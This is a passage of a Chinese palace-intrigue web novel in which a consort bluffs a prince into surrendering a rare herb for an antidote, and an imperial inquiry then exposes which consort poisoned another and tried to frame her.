一杯茶。
端木清羽眉目深深的望了望她,眼底闪过一丝明悟,微微点了点头。
楚念辞不由也微微吃惊。
不料他,竟然能这么快,看透自己的心思。
随着李德安宣号,端木冥羽大步跨进来。
他已将那一袭紫红王爷长衫整理得整整齐齐,腰悬玉佩,眉梢眼底也没有那丝玩味。
他神色端肃地先向端木清羽行了礼,只又看向楚念辞,嘴角只微微勾了勾,宛如翩翩温润公子。
楚念辞端起早已备好的一盏茶,笑盈盈递到他面前:“王爷请用茶。”
端木冥羽没接,只挑眉看她。
“慧贵人这是唱的哪出?”他一双棕眸幽深似海,“好端端的,为何突然给本王敬茶?”
“王爷多虑了。”楚念辞一脸坦然,“纯贵人中毒,太医们忙得脚不沾地,臣妾借花献佛,敬王爷一盏,不过是想请王爷行个方便。”
“什么方便?”
“王爷先喝茶,喝了再说。”
端木冥羽盯着那盏茶,眸光闪了闪。
他接过茶盏,却不急着喝,只放在鼻端轻轻嗅了嗅,又抬眼看向端木清羽。
皇帝正端着另一盏茶,悠然饮了一口,朝他微微示意。
端木冥羽眼底掠过一丝了然。
他低头看着茶汤,忽而笑了:“慧贵人这茶,怕是不简单吧?”
楚念辞神色不变:“王爷说笑了,不过是寻常的雨前龙井,臣妾亲手沏的,您尝尝味道。”
“王兄莫不是嫌朕御茶味不好。”端木清羽眸底闪过一丝绽亮的精光。
端木清羽目光扫过来,柔和之下透着凛冽。
端木冥羽神色一肃。
他原以为这个矜贵的弟弟不过是温室里的名花,光鲜却易折。
此刻才恍然……这哪里是花,分明一支翠竹。
用稚拙的外表包裹着,待你错过那一脚,他便抽条拔节,褪去伪装,露出骨子里的韧度高度。
他已经错过了,将他一脚踢下来的机会。
如今便得接受他这如剑般的目光压制。
“陛下说笑,茶的味道怎会不好,又是慧贵人亲手砌的,便是毒药,臣亦甘之如饴,”端木冥羽笑得意味深长。
他端起茶盏,抿了一口,咂了咂嘴,又抿了一口。
“如何?”楚念辞盯着他。
端木冥羽放下茶盏,慢条斯理道:“没什么味道,雨前龙井,碧螺春,都不该是这个味,慧贵人,你到底是什么茶?”
楚念辞唇角微微弯起:“王爷好舌,这是纯贵人方才喝下的毒茶。”
端木冥羽脸色一变,猛地低头看向那盏茶。
“噗……”
端木冥羽一口茶喷了出来,连忙跑到一旁,伸手去抠自己的喉咙,呕了半天,什么都没吐出来。
“你……”他涨红了脸,指着楚念辞,声音都变了调,“你给本王下毒!”
楚念辞一脸无辜:“我只是让王爷尝尝,又没让您咽下去,您自己咽了,怎的还怪我?”
端木冥羽一噎。
仔细想想,她确实说的是“尝尝”……可“尝尝”不就是让人喝的意思吗?
楚念辞看着他懊恼的模样,唇角微微弯起,你上套了。
端木冥羽愣了愣,忽地笑了,露出白森森的牙齿。
第129章 这女人,他抢定了。
端木冥羽预想过楚念辞的反应。
无非两种,要么妥协与自己合作,要么拒绝继续攀附小皇帝。
唯独没想到她会选第三条路。
直接打直拳,给他下套。
虽然失算,他却不恼,反而更来了兴致。
他盯着她眉心那点红,恨不得立刻把人压在身下。
侧过头,背对皇帝,他目光里野性十足。
那赤裸裸的挑逗眼神看得楚念辞直想把他按在地上狠踩两脚,哪怕他罕见的冷俊无双!
两人在诡异的气氛中对视片刻。
端木冥羽脸颊的笑纹又浮现出来,笑得如沐春风:“慧贵人真是风趣,如此行事,到底意欲何为?”
楚念辞笑如春花般娇艳,语气却不紧不慢:“臣妾听闻雍亲王府上有天山雪莲,怕王爷舍不得拿出来,这才出此下策,如今拿出来便是救人救己。”
端木清羽抿唇浅笑,目光在她脸上转了一圈。
许绩却眯起锐利的鹰眸,看向雍亲王。
他隐隐觉着,这雍亲王有药却不肯往外拿,心里顿时憋了一股火。
这可是关乎他女儿的性命!
狠狠地给他记上了一笔。
雍亲王盯着楚念辞,眸光深深:“你怎么知道本王有天山雪莲?”
“王爷曾去过西域,带回一枝天山雪莲,尽人皆知的事,何必再问?”楚念辞笑盈盈地,“王爷中毒不深,越早制成药丸越好,不过我猜,王爷这会儿应该已经有感觉了。”
雍亲王微微一怔,试着深吸一口气。
果然,胸口隐隐有股热意往上涌,心里莫名生出云雨之念。
忙用功力压下,他可不想当众出丑。
许绩是久经沙场的人,哪还看不出门道?
当即上前一步,撩袍跪在雍亲王面前:“求王爷赐药,若能救小女性命,末将感激不尽,终生不忘!”
端木清羽也拱手道:“王兄若有此物,还望不吝拿出来,毕竟事关人命。”
淑妃见皇帝着急,也在一旁帮腔:“王爷,救人一命胜造七级浮屠。”
雍亲王充耳不闻他们的求助。
只目光沉沉地看着楚念辞。
不语。
这女人,要么太聪明,要么就是太了解他。
她不跟他合作,反倒用这法子逼他往外拿药。
想来是猜出,若真合作,日后必被他拿捏。
不管哪种,都不是他想见的。
这一局,他已经输了。
能让自己吃亏的人,他本以为这世上还没有出生,没想到还是个女人。
只是这个女人,让皇弟捷足先登。
而且看样子,她对皇弟颇为中意。
不过,不要紧。
他对自己看重的人,有的是耐心。
而且他自己喜欢的东西,从来不是上天给予的,哪一样不是抢过来的。
她。
自己抢定了。
如今若不拿出药来,得罪的不只是皇帝,还有许绩这个手握兵权的将军。
雍亲王忽然朝楚念辞一笑,如沐春风,眼底却掠过一丝寒意,但这寒意接触到楚念辞那张艳光四射的脸,他浓密的睫毛扑闪了一下,阴影瞬间淡去,笑得无可挑剔。
那笑容太过灿烂。
楚念辞却莫名觉得,这人大概真想扑过来咬她一口泄愤。
其实她刚刚给他喝的只是普通的媚药。
但是她在赌,一是他不懂药性,二是他不愿得罪许绩。
“便算朕欠你一个人情。”端木清羽眼睫微扬,适时开口补了一刀。
雍亲王挑眉,对皇帝露出一个奉承的笑脸,道:“慧贵人真是多此一举,臣正想把此物奉上。”
一边说着,一边在皇帝看不见的角度,朝楚念辞伸出两根手指。
两次。
楚念辞垂眸,嘴角却微微一扬。
这是说,她已经欠他两次人情了。
欠多少次都不在乎,只要他肯把东西拿出来。
雍亲王走到门口,对那高个圆脸的太监道:“狗剩,马上回府,把库里的天山雪莲拿来,赶紧的。”
有了天山雪莲,章太医和楚念辞联手,很快制出解药……天绝丹。
解药做出来之后,她先给了一颗端木冥羽,其实那只是化痰止咳的川参丸。
她拿着真正的解药,慢慢碾得碎碎的,让纯贵人服下。
一颗药服下去,纯贵人那骇人的高烧终于渐渐退去,脸色不再红得吓人,呼吸也平稳下来。
众人这才松了口气。
楚念辞唇角微微弯起,轻轻抹了一把头上的汗水。
许绩盯着女儿微微颤动的睫毛,激动得双手发抖。
“阿爹……”纯贵人睁开眼,一眼就看见许绩。
她愣了愣,随即眼泪扑簌簌往下掉,孩子气得一头扎进父亲怀里。
“阿爹,我是不是死了?这是阎王殿吗?不对,姐姐和陛下都在,我还没死?”她伸手掐了掐自己的脸,声音又软又哑,带着哭腔,“有个太监跟我说,吃了这药就能见到爹爹……果然没骗我……”
许绩心口一疼,眼眶又红了。
他坐在罗汉床边,握着女儿的手,温声道:“乖囡,那人骗了你,害你中了毒,若不是你这位慧姐姐,你早就死了,别多说话,好好歇着,陛下一定给你出气。”
纯贵人这才反应过来。
原来自己又被人骗了。
她抬起那双雾蒙蒙的绿眼睛,看看父亲,又看看帝王,心里又慌又愧。
“我怎么这么傻……”她捂住脸,羞愧万分,“又被人骗了……”
“乖囡,”许绩忍着心疼问,“告诉爹爹,谁让你吃那药的?”
纯贵人哇的一声哭出来,哭得梨花带雨,直打噎:“阿爹……我也不知道……有人喊我出去,说有东西给我……呜呜……”
她哭得说不出完整的话,只知道摇头。
许绩再也问不下去,只抱着女儿的肩膀轻轻拍着她的后背,仿佛她是一个刚出生不久的婴儿一般。
楚念辞叹口气,这样娇宠长大的女孩,怪不得会养成这样的性格。
端木清羽目光沉了沉,声音温和却带着寒意:“你别难过了,此事朕必彻查,还你一个公道。”
他回头看着淑妃,“纯贵人是在宴席上被人喊走的,此次亲农礼的大小事宜,朕可都是交给你负责的,御茶房这么重要的地方,你怎么不派人值守。”
淑妃脑中“嗡”的一声。
脸色煞白,“扑通”跪在地上。
她心里清楚,这事儿她多少得担点干系。
可真烧到自己身上时,还是慌了。
“陛下!”她连忙叩头,红着眼睛委屈道,“宴席上的每一样东西,臣妾都再三检查过,绝不会有问题!”
“可臣妾也没有三头六臂,不可能面面俱到,事事周全。”
楚念辞上前一步,恳切地说道:“臣妾斗胆说一句,宴会事务繁杂,淑妃娘娘要兼顾全局,坏人存心害人,防不胜防也是有的。”
端木清羽眉头紧皱,点点头,上前扶起她。
淑妃看了楚念辞一眼,心里五味杂陈。
娘亲说得好像对啊,自己身边必须有个帮手,关键时刻能帮自己说话。
她抹着红红的眼睛,咬牙切齿道:“臣妾也想知道,究竟是谁吃了熊心豹子胆,敢在亲蚕礼上作妖!”
今天是亲农礼与亲蚕礼,差点闹出人命。
帝王震怒:“给朕彻查!”
“是!”李德安躬身领命而去。
天子一怒,满殿皆惊。
四周立刻被封锁起来,任何人不得离开。
淑妃眼底满是阴霾。
出了这么大纰漏,陛下心里会怎么想?
会不会觉得她无能,根本没能力统率六宫?
究竟是谁,敢在她地盘上动手?
分明是想让她出丑,她也立即让玉坤宫的人去搜查各宫。
不多时,章太医回来了,跪地禀报:“启禀陛下,微臣在茶水间验出了西域奇毒,绕情丝。”
“此毒是在一杯茶水里发现的,若不是慧贵人正好在场,用针封住了心脉,即便微臣赶到未必能解,说白了,下毒的人就是想要人性命。”
话音落下,殿内死一般的寂静。
许绩缓缓转过头,一双鹰眼幽深似海。
他本以为只是嫔妃争宠的小打小闹,没想到有人竟是要他女儿的命!
这个在沙场上见惯生死、铁骨铮铮的汉子,此刻站在端木清羽身侧,浑身散发着凛冽杀气。
他再次跪下,咬着牙一字一句恳求道:“陛下,臣女自幼单纯,谨小慎微,从不与人结仇。究竟是谁,心肠这般狠毒?”
说到最后,声音已压不住地发颤,那是愤怒,更是后怕。
就在这时,宫人来报:“太后驾到!”
窦太后匆匆赶来,端木清羽听见,忙带着众人到门口迎接。
“免礼。”太后摆了摆手坐下,而关切地问:“皇帝,??你没事吧。”
端木清羽摇摇头,道:“歹人是针对纯贵人下毒,儿臣没事。”
窦太后一滞,看了眼两眼发红的许绩:“章太医怎么说?人要紧么?”
端木清羽道:“章太医说此毒药性十分猛烈,若非慧贵人懂医理,又恰好在??,只怕纯儿早已一命呜呼了,刚才已经配置解药,性命无碍。”
窦太后听他这般说,又忙去内殿看了纯贵人,好生安慰了一会儿。
出来后,开门见山道,“皇帝可查到嫌疑之人了?”
“还在查。”端木清羽道。
“哀家听说,莲嫔方才指证慧贵人,”窦太后缓缓开口,“既然没有头路,就从这里查起吧。”
第130章 端木清羽铠甲上的缝隙。
窦太后说这话时,脸色阴沉得能拧出水来。
她看着纯贵人那张苍白得毫无血色的小脸,心里微微揪了一下。
这纯贵人是她特意挑出来的……相貌好,性子单纯,好拿捏。
父亲又是一代名将,攥在手里,便是把趁手的刀。
她在后宫沉浮几十年,早练就了一副铁石心肠,可这会儿瞧着纯贵人那模样,心里还是紧了一下。
来之前,竹青已经把事发经过细细说给她听了。
她收回目光,扫了一眼众妃,沉声道:“既然莲嫔首告,就跪到前头来,当着哀家的面说清楚。”
莲嫔扭着纤腰,娇娇怯怯地从人群中走出来,跪下。
“把你知道的,重新说一遍。”窦太后道。
莲嫔上前一步,声音又轻又软:“太后、陛下,嫔妾身份低微,本不想惹事。可见纯贵人受了这么大的伤害,淑妃娘娘也跟着受累,嫔妾实在于心不忍……”
她顿了顿,咬了咬唇:“嫔妾分到冷月宫后,内务府给的份例样样不足,嫔妾也不敢抱怨,只是对下头的人盯得紧了些,让绮云留意那些新来的宫人……”
“没想到,真发现了个吃里扒外的。”
淑妃听见他说克扣份例。
狠狠瞪了她一眼,那眼神跟刀子似的。
莲嫔立刻装出一副被吓到的样子,捂着嘴不敢说了。
窦太后看了淑妃一眼,冷冷道:“说下去。”
她对太尉府没什么好感,但这事必须弄清楚,便缓了缓神色:“知道什么尽管说。只要是实话,便是得罪了人,哀家也给你撑着。”
莲嫔这才松了口气,回头看向绮云:“下面的事,让我的大宫女来说,她最清楚来龙去脉。”
绮云上前跪下,低着头道:“是,那福贵是上个月才调到我们宫里的。”
“虽说如今是我们冷月宫的人,可他以前在慧贵人宫里当差,奴婢这些日子瞧见,纯贵人常去棠棣宫,福贵也跟着鬼鬼祟祟往那边跑,和一名叫宝柱的太监,不知在谋划些什么。”
“奴婢本不敢多嘴,可今日出了这么大的事,实在不敢隐瞒,还望慧贵人别怪罪……”
店里所有人的目光唰地一下落在楚念慈的身上。
楚念辞垂下羽睫。
该来的,终究是来了。
楚念辞上前跪下,向太后磕了个头,不慌不忙道:“太后、陛下,方才莲嫔与绮云说了那么多,却没有一句实据,绮云说看见福贵与我的宝柱来往,不过是一面之词。”
“纯贵人被人诱骗吃下**,那人说吃了药就能出宫见到父亲。”
“绮云既然说见过福贵与我的宫人宝柱勾结,便请他们对峙一下。”
淑妃立刻接话:“有道理!臣妾请太后传两人对峙!”
窦太后皱了皱眉,沉吟片刻,随即点点头。
慎刑司主管魏大勋立刻下去拘人。
楚念辞心里透亮。
自己明面上投靠了淑妃,太后这是想借这事找淑妃的差错,好让禁足的皇后重新掌权。
淑妃有丞相府撑腰,太后想拿宴席管理的事治她的罪。
她这个“淑妃的人”,便成了双方角力的焦点。
而她心里清楚,真正的主谋是白芷若。
想借纯贵人这件事,把她扳倒,以为只要扳倒了他这个绊脚石,就能得到宠妃的位置。
福贵被拎上来时,早已吓得脸色发白。
他原以为没人知道是自己干的,还盘算着过两天风声过了,再去豪赌扳本。
此刻跪在地上,浑身抖得筛糠似的。
宝柱却是另一番模样。
他进殿后端端正正磕头行礼,俊俏白净,不慌不忙,先就让人生出几分好感。
魏大勋也一同进来,上前禀道:“陛下,太后,奴才在冷月宫,福贵的房里搜出了银票,他近日赌输了不少,还有这么多银子,颇为可疑。”
众妃悄悄议论,福贵是冷月宫的人。
莲嫔也脱不了干系。
白芷若听见众人议论,柔柔弱弱地委屈道:“陛下,太后,福贵原是棠棣宫的人,是慧贵人偷偷塞进臣妾宫里的,这些事儿,定是慧贵人指使的。”
纯贵人眨了眨眼,连连摇头:“莲姐姐,慧姐姐不是这样的人,她不会害我。”
“俗话说,知人知面不知心,”白芷若轻声细语,“她定是见纯妹妹盛宠加身,怕是生了不该有的心思……”
纯贵人依旧摇着头。
楚念辞面色不变。
淡淡道:“首先,福贵不是我偷偷塞给冷月宫的,是因偷盗才被我撵到辛者库的,自那之后,再无来往,至于宝柱,你说是他与福贵来往,不过是你一面之词。”
白芷若立刻摆出委屈模样。
端木清羽面色沉沉。
差点闹出人命,又是许绩的独女,他自然重视。
但他绝不信这事是楚念辞做的。
相处这么久,他清楚慧贵人虽不是什么纯良小白兔,但她是有底线的。
下毒害
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人?超出她的底线了。
悦嫔和白芊柔那样害她,她都没计较过,怎么可能对刚刚认识的纯贵人动这种心思?
“莲嫔,”端木清羽淡淡道,“你说来说去并无实据,即便宝柱和福贵有过往来,也说明不了什么,毕竟他们曾在一起当差。”
殿内众人心头一震。
往常遇到这种事,帝王哪次不是雷霆震怒?
她们本以为慧贵人沾上嫌疑不死也得脱层皮。
没想到皇帝竟这般明目张胆地偏袒。
太后眉峰微蹙,淑妃眼底妒意翻涌,莲嫔暗暗攥紧了拳头。
雍亲王却看得目不转睛。
错愕间。
他目光渐盛。
目光一样如蚀火般闪亮飘忽。
太好笑,自己这个全身披着铠甲的弟弟,身上竟有一丝缝隙。
他觉得这是个笑话。
而他也真的笑了起来。
笑得以手抵唇。
端木清羽转过头,清洌目光倏地一冷,如刀般看着笑得微微发抖的他。
“臣失仪,”端木冥羽止住笑,恢复了端肃仪态,“请陛下治罪。”
端木清羽有些讽意地撇撇唇。
他冷冰冰收回目光,继续道:“纯贵人是许将军爱女,莲嫔是太尉之女,一个受害,一个牵扯其中,若出了事却查不清楚,传出去便是朕无能,今日就在殿上当众审个明白,断个是非黑白。”
说完一挥手。
当即他身后的一个小太监。
拿着板子上去,正反开弓,扇了福贵十几个耳光,福贵被打得唇角破裂,双颊顿时红肿起来,颤声求饶:“奴才……奴才什么都没做……”
他心急如焚,忍不住拿眼去瞟莲嫔。
莲嫔心里一紧,立刻用眼神把他瞪了回去。
好在她从未亲自与这人接触过,慢慢稳住心神。
福贵又偷偷去看前主子楚念辞。
是她把他从棠棣宫赶出来,安插到莲嫔身边监视的。
可除了让他盯着,她没派过任何任务,也没再派人跟他接触。
但他没想到由于自己贪财,让自己处于危险境地。
如今他只能想法子拉一个下来保命。
莲嫔有太尉府撑腰,他惹不起。
慧贵人已失宠,这样的人,没有家世,攀扯上去,也不会有后顾之忧。
转瞬之间,他在心里做了决定,于是磕了个头道:“陛下,那药是慧贵人让宝柱交给我的,让奴才去骗纯贵人,奴才真不知道那是**啊……”
第131章 端木冥羽的手段
这话一出,如同一把利刃,直直刺向楚念辞。
众妃瞬间将目光投向楚念辞,眼底神色各异。
有幸灾乐祸的,有看好戏的,也有冷眼旁观的。
“慧贵人,你方才还说没有,为何福贵口口声声指认你?”
“纯贵人盛宠加身,碍着你的眼了吧?你怎么忍心下这样的毒手?”
“正因为盛宠,慧贵人才恨她抢走恩宠!”
“我看关键还是在宝柱。查查他跟福贵有没有来往,不就清楚了?”
一时间,各种猜测,质疑夹杂着因皇帝偏爱而涌现出来的嫉妒,朝楚念辞奔涌而来。
楚念辞成了众矢之的,面上却依旧镇定。
她心里清楚,福贵既然咬上自己,宝柱与他近期有无往来就成了关键。
她不动声色地看了宝柱一眼。
宝柱白皙脸上没有丝毫慌张,上前一步,跪得端端正正:“太后,陛下,奴才以前与福贵同在一处当差,也鲜少来往,近期更是连面都没见过,奴才若有一句妄言,甘受慎刑司十八道刑!”
殿内众人心头一震。
慎刑司十八道刑,那是阎王殿走一遭,不死也得脱层皮。
敢拿这个发誓,倒是底气十足,还是无知无畏。
"行吧,"白芷若脸上浮现出冷笑,"你先扛过十八道刑法再说。"
慎刑司有太尉府暗桩,把人送进去,还不是由自己说了算。
"不可,屈打之下必有冤狱,"楚念辞抿了一下唇,她对福贵冷笑一声:“福贵,想清楚了再说话。你毫无根据地攀咬,倒霉的不止你一个,还是你全家,诬陷嫔妃,前头有人被陛下夷了三族,你该知道!”
“陛下,他在臣妾宫里偷盗,臣妾按规矩把他赶出去,他便记恨在心,如今见臣妾不得宠了,就想趁机诬陷……”
端木清羽心头一紧,她认为自己已经失宠。
几乎想伸手扶她。
可他忍住了。
这段时日冷落她,哪里是因为什么寝衣?
是不知从哪天起,他忽然发现自己很想见到她。
更可怕的是……想见的只有她。
他感觉自己就像话本子里写的那些少年一样无知可笑。
但别的女人,他连睡在身边,都觉得心里膈应。
他原以为是洁癖作祟,可后来李德安把那些女人洗得干干净净送到龙床上……
心里却提不起半点兴致。
这时才明白,他渴念她而已。
可他是帝王,怎能将心搁在一个女人身上?
众目睽睽之下,方才已经偏袒过一次,惹来众人侧目。
若这次再偏向她,反而会害了她。
“去查查他们两宫的人。”端木清羽沉声吩咐。
魏大勋领命而去。
一炷香后,慎刑司的人已将棠棣宫和冷月宫的宫人全都查问,都说没见过宝柱和福贵往来。若不是楚念辞提前洞察,让宝柱避开,今日这嫌疑还真洗不清了。
即使见到全对自己不利的证词。
福贵依旧咬了咬牙,梗着脖子道:“这些事见不得光,自然隐蔽,不会让别人知道!”
他心里清楚,既然已经开了口,就必须把这事咬死。
否则一改口,更没人信了。
楚念辞方才拿他家人威胁,他根本不怕。
他九族就剩一个妹妹,想用那个赔钱货威胁他?
做梦!
“奴才句句属实,”他咬着后槽牙抵死诬赖,“慧贵人当初把奴才赶出去,就是为了让奴才去监视莲嫔!后来她又让宝柱给奴才一包药,让奴才去害纯贵人,完事儿再栽赃给莲嫔!”
莲嫔听见这话,拿帕子抹着眼泪,玉白的手指微微发颤:“太后,陛下,臣妾与慧贵人往日无冤今日无仇,不过是想住棠棣宫,惹了她不快,她竟要这样冤枉臣妾?求陛下明察,还臣妾公道!”
淑妃冷眼看着这一切,目光落在楚念辞身上时,带了几分探究。
慧贵人向来有心计,难不成此事真是她做的?
随即她又否定了这个猜测,亲农礼是她操办的,慧贵人若要动手,定会提前告知她。
这么看来,八成是莲嫔自导自演。
可她并不打算出手相助。
为一个棋子把自己搅和进去?
不值得。
殿内陷入僵局。
一方咬定从无此事,句句铿锵,一方咬定确有其事,言之凿凿。
双方各执一词,谁也拿不出铁证。
见双方僵持不下,窦太后皱了皱眉:“既然如此,便交给慎刑司吧,实在不行还有费婆子,几套刑罚下来,自然会吐口。”
就在这时,一直没出声的雍亲王忽然笑了。
“何必这么麻烦?”他修长的手指慢悠悠抚着绿色扳指,笑道,“这些贱奴不老实,先把他们手上的皮剥了再审,保证句句实话。”
福贵浑身一软,差点瘫在地上。
剥皮?
他瞪
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大了眼,脑子里一片空白。
他听过,剥手上皮是从手腕开始,一刀一刀往下割,能活生生剥到指尖。
剥下来的皮像个手套。
人还醒着,看着自己手变成一副骨架……
他嘴唇哆嗦着想求饶,喉咙里却只发出“嗬嗬”的气声。
宝柱白净的脸也吓得煞白,他咬了一下嘴唇,强撑着叩头:“为了证明小主清白,奴才愿意舍弃这张皮!”
窦太后眉头紧皱,看了一眼皇帝。
皇帝脸上不置可否,魏大勋便迟疑着拿眼看太后。
半晌,窦太后皱着眉头道:“皇帝,还是让慎刑司按刑法审吧,这还没审出个眉目,先急着剥皮做什么?传出去被人骂我们皇族残暴。”
她转向端木冥羽斥责:“冥二,你平时对下人挺和蔼的,今日怎么出这血淋淋的馊主意?”
“太后,”端木冥羽琥珀般眸中带了点笑意,笑着拱手,那笑容如冷月,“在宫中下毒弑主,便是活剐了,也是应该,剥个皮算什么?也是为了帮陛下尽快查清真相。”
淑妃见端木清羽面露嫌恶,忙道:“王爷别说了,陛下都恶心了。”
果然,端木清羽用衣袖掩住口鼻。
谁知下一秒,他侧过脸,摆摆手道:“只别当着朕的面,拖下去,你们爱怎么剥怎么剥。”
福贵只觉得灵魂出窍。
他猛地扑倒在地,浑身抖得像筛糠:“陛下,奴才冤枉,真是慧贵人指使的,奴才不过是从犯啊……”
他那意思。
就是剥皮也得先剥慧贵人。
端木清羽语气冷湛如冰:“你是不见棺材不落泪,想着拉一个慧儿下水,以为她只要沾了边,你便可逃脱罪责,来人,先把他拖下去把皮剥了。”
魏大勋听皇帝这么说,便走到门口去喊人。
福贵这下终于明白了。
他看错了。
陛下最宠的,从头到尾都是慧贵人。
他的证词不但没用,还要搭上自己这张皮!
脑子里“剥皮”两个字像刀子一样剜着。
他仿佛已经感觉到刀尖刺进手腕,一寸寸往下割的剧痛。
福贵磕头如捣蒜,额头撞在金砖上“砰砰”作响:“陛下,奴才招了,是莲嫔,是她让奴才攀扯慧贵人,前几日也是她让奴才去骗纯贵人,完事儿再栽赃给慧贵人,奴才所言句句是真,求陛下饶命,求陛下饶命啊……”
莲嫔脸色瞬间惨白。
第132章 春妮……绘春
福贵话像一颗石子投入平静的湖面,涟漪迅速荡开。
众妃开始窃窃私语。
白芷若脸色瞬间变得煞白,心直直往下沉。
没想到这人这么不中用。
轻轻一吓,什么都交代了。
这跟她之前交代的不一样。
她脑中飞速转着。
明明安排好了,让福贵咬死慧贵人。
一种不祥的预感攫住了她,总觉得事情正朝着失控的方向滑去。
可事到如今,她已经没有退路。
若不能把楚念辞拉下来,过后她一定会报复自己。
更何况这是皇后交给她的第一个任务,完不成,往后谁还能帮她重获圣宠?
她玉白的手指拿着一方绢帕,拭着发红的杏眼:“陛下,这奴才分明是畏惧刑罚,随口攀诬,他说话颠三倒四,方才他连话都说不利索,这会儿倒说得头头是道,分明是有人教唆,证言绝不可信!”
“依臣妾看,还是按太后娘娘方才说的,把他们俩送进慎刑司!若熬得过十八轮刑罚,说出来的话才有几分可信!”
十八轮刑罚下来,人早没了,还做什么证?
楚念辞脸上浮起一丝冷意:“莲姐姐,方才福贵诬赖我时,你可没说要讲证据。如今证人反口,你倒急着把人送慎刑司,屈打成招的话,更不可信吧?”
“陛下,臣妾实在不明白,莲姐姐为何这般苦苦相逼,她口口声声说与臣妾无冤无仇,可从头到尾,句句都在把脏水往臣妾身上泼……”
端木清羽见她低垂双眼,长长的羽睫,如蝴蝶一般轻颤,心里便软了几分。
方才莲嫔确实是出尔反尔。
福贵指认慧贵人时,她一口咬定证据确凿,如今指认她,她立刻说证言不可信。
这般反复无常,任谁都看得出来。
他看向白芷若的目光,已带了厌恶。
白芷若还在扮柔弱,愣了愣才喃喃道:“我……我与慧贵人无冤无仇,没道理冤枉她,我只是不想被人诬陷,想查清真相还自己一个公道!”
这话说出来。
连她自己都觉得苍白无力。
许绩这时终于开口。
他感激地看了楚念辞一眼。
方才若不是她及时施针,女儿早就没命了。
“陛下,”他沉声道,“慧贵人救了我儿,臣相信她不是歹毒之人。俗话说慈不掌军,便是我也不会随意对人动刑,既然此人言语反复不可信,不如传唤她身边亲近之人佐证。”
不愧是一代名将,一语便切中要害。
楚念辞立刻接话:“听闻福贵有个妹妹叫春妮,不如传她来问一问。”
她其实没指望用春妮挟制福贵。
早就查过,福贵对这个妹妹非但不好,动辄打骂,根本不可能以此要挟他。
但正因为这兄妹们俩感情不好。
才是个突破口。
白芷若一听“春妮”,心下暗喜。
她曾用春妮威胁过福贵,把这丫头带来,不怕福贵不咬紧楚念辞。
她用帕子按了按眼角,柔声道:“既然如此,便传此人过来。”
福贵低着头,面无表情。
妹妹?赔钱货罢了。
拿她威胁自己?
想都别想。
众人正等时辰,端木冥羽要了盏茶。
他捏着茶盖轻轻刮蹭杯沿,忽地比了个兰花指……三。
三。
楚念辞也瞥见了,心里暗骂:这厮真放肆,大庭广众就敢提醒她欠了第三回人情。
你才是三。
你一家子都是三。
她玉指抚过脖颈,慢悠悠做了个抹脖子的手势。
端木冥羽抬眸看她,浓密睫毛下那双湛亮的琥珀色眼睛仿佛会跳舞。
楚念辞嗤笑一声,转头不再理他。
很快,一名瘦弱娇小的女孩被带了上来。
她刚进殿就跪倒在地,整个人还没开口,便开始瑟瑟发抖。
她约莫十六七岁,身上的宫女衣裳,补丁套补丁,早已破得看不出原本的颜色,灰头土脸,面色暗黄,一张巴掌小脸上,瘦得只剩一双眼睛,大得出奇,发丝梳得很整齐,只是身上还是散发着一股浣衣局的泔水气味。
众人看向福贵。
他自己倒是吃得油光水滑、皮肉白净,妹妹却这般模样。
两人跪在一处,简直不像亲兄妹。
而像是主仆。
春妮身上散发着一股隐隐约约的酸臭味道。
淑妃用帕子捂住口鼻,明艳的脸上满是嫌恶。
端木清羽也微微蹙眉。
魏大勋见两位主子恶心,立刻上前呵斥:“跪到门外去回话!”
春妮怯生生地从台阶上爬过去,跪在门槛外,低着头,瘦小的肩膀仍在轻轻发抖。
魏大勋沉声问:“老实回话,你哥哥近来可曾与什么人来往?他那些银票是哪里来的?”
春妮声音小得像蚊子哼:“我哥……他没有朋友,不曾和什么人来往……”
“那你说说,他这段日子都做了些什么?有什么可疑的,尽管讲来。”
福贵恶狠狠瞪了她一眼。
小丫头飞快地瞟了福贵一眼,又赶紧低下头。
嘴唇嚅动着,不敢出声了。
魏大勋立即示意身后的太监,上前又劈手给了福贵几个耳光,只把他打得委顿在地。
春妮偷偷注视哥哥流血的脸,慢慢止住了害怕。
端木清羽看了看她衣着,缓声道:“你若肯老实回话,朕免了你的浣衣局差事,调你去针线局做事,往后不许你哥哥再去见你。”
春妮肩头猛地一颤。
陛下竟然一眼就看出来,自己喜欢女红。
楚念辞也注意到了。
这丫头虽然穿得破旧,可衣裙洗得干干净净,领口处还有
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几处绣得颇为工整的花草纹。
是个要强干净的孩子。
她走近两步,蹲下身,声音放得极轻极柔:“别怕,陛下金口玉言,说了便算数,这件事了结后,再不让你和哥哥住一处,他再也不能欺负你,你只管把知道的都说出来,往后就有好日子过了。”
听见楚念辞那句“他以后再也不能欺负你”,一时间心中竟不知到底是欢喜还是悲惘。
只觉眼眶发热鼻子泛酸。
一滴眼泪从大眼中流出,滴在金砖之上。
过了一会儿,春妮抬才起眼,泪汪汪地看了楚念辞一眼。
那眼里有怯,有怕,也有一丝压了很久的委屈。
但她依旧没有开口,只是局促地抓紧自己的裙子。
知道她仍旧不放心,楚念辞向皇帝恳求:“陛下,春妮这名字不好,像泥土一样,请陛下为她更名。”
改了名字。
才能让她和他的哥哥彻底断绝关系。
端木清羽声音于流于天际一丝微风,浅淡道:“便改名绘春,从此你与福贵再无关系。”
春妮,绘春终于开口,声音抖得厉害:“他、他前些日子输了好多钱……回来就打我,可有一天,他喝醉了,说自己交了运,有人帮他还债,奴婢好奇,就偷偷跟着他……”
她顿了顿,像是鼓足了勇气。
“见他跟冷月宫的小太监来往,后来,他又不知从哪拿了一包东西回来,偷偷摸摸去见纯贵人……他想害纯贵人,再嫁祸给慧贵人……”
此话一出,殿内众人脸色骤变。
太后抿紧了唇,目光转向白芷若。
白芷若宛如被人一下子抽干的血液。
脸上血色褪尽,扑通一声跪在地上。
端木清羽那勾人的丹凤眼眯着,已经斜飞变成了一把锋利的刀刃。
眼神中冷冽已经到了极点,声音却出奇平静,甚至有点不温不火:“莲嫔,朕念你曾侍奉过朕,若肯悔改,此刻将事情说清楚,朕或可从轻发落,你为何要害纯贵人?**从何而来?”
白芷若两条腿在裙底抖得厉害,脑中却飞速转着。
证据确凿,她知道已经拉不下楚念辞了。
那就只能亮出最后一张牌。
她跌坐在地上,凄然一笑,两眼一眨,泪水就缓缓地从那双杏仁眼中渗出……
泪水慢慢流过那张清丽绝伦的脸,眼里水光潋滟,一层层涌出来,娇怯怯地望着皇帝,声音又软又颤,含着无限的委屈:
“陛下……您信臣妾……臣妾再怎么不堪,也不会做这种令人切齿的事啊……”
